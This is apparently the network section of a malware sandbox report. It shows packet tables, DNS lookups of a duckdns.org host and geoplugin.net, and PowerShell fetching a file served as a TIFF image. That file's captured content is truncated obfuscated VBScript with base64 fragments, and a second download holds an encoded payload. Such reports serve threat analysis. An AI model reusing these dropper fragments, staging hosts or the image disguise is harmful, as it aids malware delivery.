Nov 20, 2024 17:18:46.657490015 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.657666922 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.657717943 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.658499956 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.658848047 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.658895969 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.659382105 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.659557104 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.659719944 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.660209894 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.660888910 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.660938025 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.661072016 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.661252022 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.661298990 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.662120104 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.662462950 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.662511110 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.663024902 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.663523912 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.663585901 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.663901091 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.664237022 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.664288998 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.664921999 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.664933920 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.664994001 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.665775061 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.665951014 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.666002035 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.666716099 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.666728973 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.666779041 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.667510986 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.667855978 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.667902946 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.668638945 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.668656111 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.668703079 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.669451952 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.669622898 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.669676065 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.670262098 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.670603991 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.670664072 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.671262980 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.671931982 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.671983957 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.672282934 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.672789097 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.672840118 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.673096895 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.673599958 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.673666000 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.673980951 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.674310923 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.674360991 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.674989939 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.675854921 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.675867081 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.675878048 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.675899982 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.675923109 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.676664114 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.677139997 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.677210093 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.677617073 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.677793026 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.677845955 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.678817034 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.678828001 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.678884029 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.679657936 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.680149078 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.680196047 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.680598021 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.681349039 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.681360006 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.681370974 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.681396961 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.681418896 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.682276011 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.682601929 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.682666063 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.683134079 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.683320045 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.683365107 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.683959007 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.685048103 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.685060024 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.685070992 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.685107946 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.685123920 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.685219049 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.685230970 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.685267925 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.685548067 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.687374115 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.687424898 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.687686920 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.688182116 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.688225985 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.688672066 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.688827038 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.688874960 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.689563990 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.689723969 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.689771891 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.690660954 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.690673113 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.690713882 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.690975904 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.690994978 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.691004992 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.691024065 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.691045046 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.691065073 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.691070080 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.691078901 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.691117048 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.691941023 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.692354918 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.692464113 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.692895889 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.692908049 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.692946911 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.693767071 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.694267035 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.694318056 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.694652081 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.695367098 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.695416927 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.695566893 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.695733070 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.695780039 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.696470022 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.696707964 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.696755886 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.766153097 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:47.096534967 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:47.218236923 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:47.218491077 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:47.226675034 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:47.346251011 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:48.401170969 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:48.453341007 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:48.646048069 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:48.652009964 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:48.779814005 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:48.781100035 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:48.961525917 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:49.186729908 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:49.188028097 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:49.315246105 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:49.388600111 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:49.437740088 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:50.012042999 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:18:50.131658077 CET	80	49779	178.237.33.50	192.168.2.7
Nov 20, 2024 17:18:50.131745100 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:18:50.131928921 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:18:50.254199982 CET	80	49779	178.237.33.50	192.168.2.7
Nov 20, 2024 17:18:51.453716040 CET	80	49779	178.237.33.50	192.168.2.7
Nov 20, 2024 17:18:51.453797102 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:18:51.466353893 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:18:51.588248968 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:18:52.454380989 CET	80	49779	178.237.33.50	192.168.2.7
Nov 20, 2024 17:18:52.454447031 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:19:16.579185963 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:19:16.580461025 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:19:16.704333067 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:19:46.577610016 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:19:46.579117060 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:19:46.698832989 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:20:16.590383053 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:20:16.591849089 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:20:16.750292063 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:20:39.813561916 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:20:40.159356117 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:20:40.861270905 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:20:42.360131979 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:20:45.047817945 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:20:46.591634035 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:20:46.593441010 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:20:46.714838028 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:20:50.360152960 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:21:00.860172987 CET	49779	80	192.168.2.7	178.237.33.50
Nov 20, 2024 17:21:16.603799105 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:21:16.605096102 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:21:16.726741076 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:21:46.610817909 CET	6946	49773	192.3.101.149	192.168.2.7
Nov 20, 2024 17:21:46.614573002 CET	49773	6946	192.168.2.7	192.3.101.149
Nov 20, 2024 17:21:46.736475945 CET	6946	49773	192.3.101.149	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 17:18:20.615947008 CET	57880	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:18:20.754757881 CET	53	57880	1.1.1.1	192.168.2.7
Nov 20, 2024 17:18:46.762770891 CET	50357	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:18:47.089551926 CET	53	50357	1.1.1.1	192.168.2.7
Nov 20, 2024 17:18:49.867156029 CET	64588	53	192.168.2.7	1.1.1.1
Nov 20, 2024 17:18:50.008496046 CET	53	64588	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 17:18:20.615947008 CET	192.168.2.7	1.1.1.1	0xe5c5	Standard query (0)	1017.filemail.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:18:46.762770891 CET	192.168.2.7	1.1.1.1	0xce09	Standard query (0)	banaya.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:18:49.867156029 CET	192.168.2.7	1.1.1.1	0xcb03	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 17:18:20.754757881 CET	1.1.1.1	192.168.2.7	0xe5c5	No error (0)	1017.filemail.com	ip.1017.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 17:18:20.754757881 CET	1.1.1.1	192.168.2.7	0xe5c5	No error (0)	ip.1017.filemail.com		142.215.209.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:18:47.089551926 CET	1.1.1.1	192.168.2.7	0xce09	No error (0)	banaya.duckdns.org		192.3.101.149	A (IP address)	IN (0x0001)	false
Nov 20, 2024 17:18:50.008496046 CET	1.1.1.1	192.168.2.7	0xcb03	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

1017.filemail.com

192.3.220.29

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	192.3.220.29	80	7040	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 17:18:13.018316031 CET	334	OUT	GET /45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.220.29 Connection: Keep-Alive
Nov 20, 2024 17:18:14.218533993 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:18:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 20 Nov 2024 06:26:54 GMT ETag: "22c82-627523c6ee3e7" Accept-Ranges: bytes Content-Length: 142466 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 0d 00 0a 00 0d 00 0a 00 46 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 72 00 65 00 73 00 74 00 69 00 76 00 6f 00 28 00 42 00 79 00 56 00 61 00 6c 00 20 00 61 00 6d 00 62 00 61 00 72 00 69 00 6e 00 6f 00 2c 00 20 00 42 00 79 00 56 00 61 00 6c 00 20 00 70 00 6e 00 65 00 6f 00 6d 00 65 00 74 00 72 00 69 00 61 00 2c 00 20 00 42 00 79 00 56 00 61 00 6c 00 20 00 63 00 6f 00 6e 00 74 00 72 00 61 00 6d 00 61 00 72 00 74 00 65 00 6c 00 6f 00 73 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 44 00 69 00 6d 00 20 00 65 00 73 00 66 00 61 00 6c 00 66 00 61 00 6d 00 65 00 6e 00 74 00 6f 00 0d 00 0a 00 20 00 20 00 20 00 20 00 65 00 73 00 66 00 61 00 6c 00 66 00 61 00 6d 00 65 00 6e 00 74 00 6f 00 20 00 3d 00 20 00 49 00 6e 00 53 00 74 00 72 00 28 00 61 00 6d 00 62 00 61 00 72 00 69 00 6e 00 6f 00 2c 00 20 00 70 00 6e 00 65 00 6f 00 6d 00 65 00 74 00 72 00 69 00 61 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 44 00 6f 00 20 00 57 00 68 00 69 00 6c 00 65 00 20 00 65 00 [TRUNCATED] Data Ascii: Function restivo(ByVal ambarino, ByVal pneometria, ByVal contramartelos) Dim esfalfamento esfalfamento = InStr(ambarino, pneometria) Do While esfalfamento > 0 ambarino = Left(ambarino, esfalfamento - 1) & contramartelos & Mid(ambarino, esfalfamento + Len(pneometria)) esfalfamento = InStr(esfalfamento + Len(contramartelos), ambarino, pneometria) Loop restivo = ambarinoEnd Functionprivate fun
Nov 20, 2024 17:18:14.218667030 CET	1236	IN	Data Raw: 00 63 00 74 00 69 00 6f 00 6e 00 20 00 52 00 65 00 61 00 64 00 53 00 74 00 64 00 49 00 6e 00 28 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 77 00 68 00 69 00 6c 00 65 00 20 00 4e 00 6f 00 74 00 20 00 73 00 74 00 64 00 49 00 6e 00 2e 00 41 00 74 Data Ascii: ction ReadStdIn() while Not stdIn.AtEndOfStream ReadStdIn = ReadStdIn & stdIn.ReadAll wendend functi
Nov 20, 2024 17:18:14.218704939 CET	1236	IN	Data Raw: 00 45 00 33 00 4d 00 7a 00 41 00 35 00 4e 00 44 00 55 00 78 00 4e 00 7a 00 5a 00 68 00 4d 00 44 00 6b 00 77 00 4e 00 47 00 59 00 42 00 57 00 44 00 43 00 4a 00 58 00 52 00 41 00 53 00 59 00 4d 00 45 00 51 00 47 00 55 00 67 00 61 00 57 00 5a 00 6b Data Ascii: E3MzA5NDUxNzZhMDkwNGYBWDCJXRASYMEQGUgaWZkOBWDCJXRASYMEQGU29waXdlYkNsaWVuBWDCJXRASYMEQGUdCA9IE5ldyBWDCJXRASYMEQGU1PYmplY3Q
Nov 20, 2024 17:18:14.218740940 CET	1236	IN	Data Raw: 00 63 00 70 00 4f 00 32 00 39 00 77 00 61 00 57 00 56 00 75 00 5a 00 45 00 6c 00 75 00 5a 00 47 00 56 00 34 00 49 00 44 00 30 00 67 00 62 00 33 00 42 00 70 00 61 00 57 00 31 00 68 00 5a 00 32 00 56 00 55 00 5a 00 58 00 68 00 30 00 4c 00 6b 00 6c Data Ascii: cpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3Rhc" reiterativo = reiterativo & "nRJbmR
Nov 20, 2024 17:18:14.218775988 CET	1236	IN	Data Raw: 00 58 00 52 00 41 00 53 00 59 00 4d 00 45 00 51 00 47 00 55 00 69 00 59 00 58 00 4e 00 6c 00 4e 00 6a 00 52 00 44 00 62 00 32 00 31 00 74 00 59 00 57 00 35 00 6b 00 4c 00 6c 00 52 00 76 00 51 00 32 00 68 00 68 00 63 00 6b 00 46 00 79 00 63 00 6d Data Ascii: XRASYMEQGUiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEBWDCJXRASYMEQGUZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGl
Nov 20, 2024 17:18:14.218810081 CET	1236	IN	Data Raw: 00 69 00 74 00 65 00 72 00 61 00 74 00 69 00 76 00 6f 00 20 00 26 00 20 00 22 00 77 00 73 00 49 00 45 00 41 00 6f 00 61 00 57 00 5a 00 6b 00 64 00 48 00 68 00 30 00 4c 00 6b 00 64 00 45 00 52 00 46 00 4a 00 45 00 53 00 43 00 38 00 31 00 4e 00 43 Data Ascii: iterativo & "wsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMyBWDCJXRASYMEQGU4yOTEvBWDCJXRASYMEQGULzpwdHRoaWZkLCBBWDCJXRASYMEQ
Nov 20, 2024 17:18:14.218844891 CET	1236	IN	Data Raw: 00 6a 00 51 00 70 00 4c 00 6e 00 4a 00 6c 00 55 00 45 00 78 00 42 00 51 00 32 00 55 00 6f 00 4a 00 32 00 6c 00 6d 00 5a 00 43 00 63 00 73 00 57 00 31 00 4e 00 30 00 63 00 6d 00 6c 00 75 00 52 00 31 00 31 00 62 00 51 00 32 00 68 00 42 00 63 00 6c Data Ascii: jQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp" D
Nov 20, 2024 17:18:14.218879938 CET	1236	IN	Data Raw: 00 53 00 59 00 4d 00 45 00 51 00 47 00 55 00 24 00 4f 00 42 00 57 00 44 00 43 00 4a 00 58 00 52 00 41 00 53 00 59 00 4d 00 45 00 51 00 47 00 55 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 6d 00 6f 00 6d 00 70 00 6f 00 73 Data Ascii: SYMEQGU$OBWDCJXRASYMEQGU" momposteiro = momposteiro & "WBWDCJXRASYMEQGUj" momposteiro = momposteiro & "
Nov 20, 2024 17:18:14.218911886 CET	1236	IN	Data Raw: 00 20 00 20 00 20 00 20 00 20 00 6d 00 6f 00 6d 00 70 00 6f 00 73 00 74 00 65 00 69 00 72 00 6f 00 20 00 3d 00 20 00 6d 00 6f 00 6d 00 70 00 6f 00 73 00 74 00 65 00 69 00 72 00 6f 00 20 00 26 00 20 00 22 00 67 00 42 00 57 00 44 00 43 00 4a 00 58 Data Ascii: momposteiro = momposteiro & "gBWDCJXRASYMEQGU]:" momposteiro = momposteiro & ":UTBWDCJXRASYMEQGU"
Nov 20, 2024 17:18:14.218946934 CET	1236	IN	Data Raw: 00 58 00 52 00 41 00 53 00 59 00 4d 00 45 00 51 00 47 00 55 00 6f 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 6d 00 6f 00 6d 00 70 00 6f 00 73 00 74 00 65 00 69 00 72 00 6f 00 20 00 3d 00 20 00 6d 00 6f 00 6d 00 70 00 6f Data Ascii: XRASYMEQGUo" momposteiro = momposteiro & "mbBWDCJXRASYMEQGUas" momposteiro = momposteiro & "eBWDCJXRASY
Nov 20, 2024 17:18:14.341175079 CET	1236	IN	Data Raw: 00 73 00 74 00 65 00 69 00 72 00 6f 00 20 00 3d 00 20 00 6d 00 6f 00 6d 00 70 00 6f 00 73 00 74 00 65 00 69 00 72 00 6f 00 20 00 26 00 20 00 22 00 78 00 42 00 57 00 44 00 43 00 4a 00 58 00 52 00 41 00 53 00 59 00 4d 00 45 00 51 00 47 00 55 00 65 Data Ascii: steiro = momposteiro & "xBWDCJXRASYMEQGUe -wiBWDCJXRASYMEQGUn" momposteiro = momposteiro & "dBWDCJXRASYMEQGUowBW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49765	192.3.220.29	80	7724	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 17:18:44.187983036 CET	75	OUT	GET /45/HDRDDG.txt HTTP/1.1 Host: 192.3.220.29 Connection: Keep-Alive
Nov 20, 2024 17:18:45.308274031 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:18:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 20 Nov 2024 06:25:06 GMT ETag: "a0800-6275235f113e8" Accept-Ranges: bytes Content-Length: 657408 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 2b 38 67 4e 50 38 79 44 6e 38 77 48 50 59 78 44 54 38 77 43 50 41 73 44 35 37 51 38 4f 6b 75 44 67 37 41 32 4f 38 73 44 48 36 41 76 4f 4d 72 44 72 36 77 6f 4f 73 70 44 52 36 67 69 4f 51 